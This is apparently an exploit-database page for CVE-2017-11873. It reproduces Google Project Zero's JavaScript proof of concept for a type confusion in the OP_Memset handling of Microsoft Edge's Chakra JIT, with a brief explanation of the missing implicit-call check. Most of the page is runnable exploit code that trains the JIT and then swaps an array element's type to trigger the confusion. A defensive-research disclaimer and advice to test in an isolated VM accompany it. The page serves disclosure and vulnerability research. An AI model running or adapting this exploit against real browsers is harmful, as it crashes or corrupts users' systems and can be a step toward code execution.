Materialized exploit

CVE-2017-11873

HIGH

1 public exploit(s) for this CVE, 1 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

ExploitDB dos windows Verified

Source

Microsoft Edge Chakra: JIT - 'OP_Memset' Type Confusion

By Google Security Research

How to test this exploit

Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.

Code js

/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1357

function opt(a, b, v) {
    if (b.length < 1)
        return;

    for (let i = 0; i < a.length; i++)
        a[i] = v;

    b[0] = 2.3023e-320;
}

The above JavaScript code is JITed as follows:

... CHECKING THE TYPE OF B ...
OP_Memset(a, v, a.length);
b[0] = 2.3023e-320;

But there's no ImplicitCallFlags checks around OP_Memset. So it fails to detect if the type of "b" was changed after the "OP_Memset" called.

The PoC shows that it can result in type confusion.

PoC:
*/

function opt(a, b, v) {
    if (b.length < 1)
        return;

    for (let i = 0; i < a.length; i++)
        a[i] = v;

    b[0] = 2.3023e-320;
}

function main() {
    for (let i = 0; i < 1000; i++) {
        opt(new Uint8Array(100), [1.1, 2.2, 3.3], {});
    }

    let a = new Uint8Array(100);
    let b = [1.1, 2.2, 3.3];
    opt(a, b, {
        valueOf: () => {
            b[0] = {};
            return 0;
        }
    });

    print(b[0]);
}

main();